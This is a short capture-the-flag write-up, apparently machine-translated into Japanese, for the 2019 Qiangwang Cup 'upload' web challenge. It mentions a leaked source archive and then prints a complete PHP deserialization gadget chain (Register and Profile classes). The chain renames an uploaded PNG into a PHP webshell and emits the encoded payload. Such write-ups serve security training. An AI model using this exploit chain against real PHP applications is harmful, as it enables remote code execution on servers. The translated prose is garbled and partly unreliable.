ブラシのタイトルレコード:[強力なネットワーク杯2019]アップロード
トピックリンクを定期:https://buuoj.cn/challenges
参考リンク:2019年第三カップ強力なネットワークのWebパーツWRITEUP +再生環境
まず、知識
図1に示すように、ソースコードリーク
www.tar.gz
2、PHPデシリアライズ
ファイルは偉大に見えるが、phpstormオープンで、デフォルト開いているファイルを見つけること、2つのブレークポイントがありますが、実際には、ヒントを与えることです、地元の直列化復元を使用することを指摘しました。抗シリアライズの日常的な使用後は難しいことではありません。
唯一の注意点は、シリアル化の名前空間のシリアル化が進むだろうということですので、POCがこの場所に追加する必要がありますnamespace app\web\controller;
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __construct()
{
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";
$a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));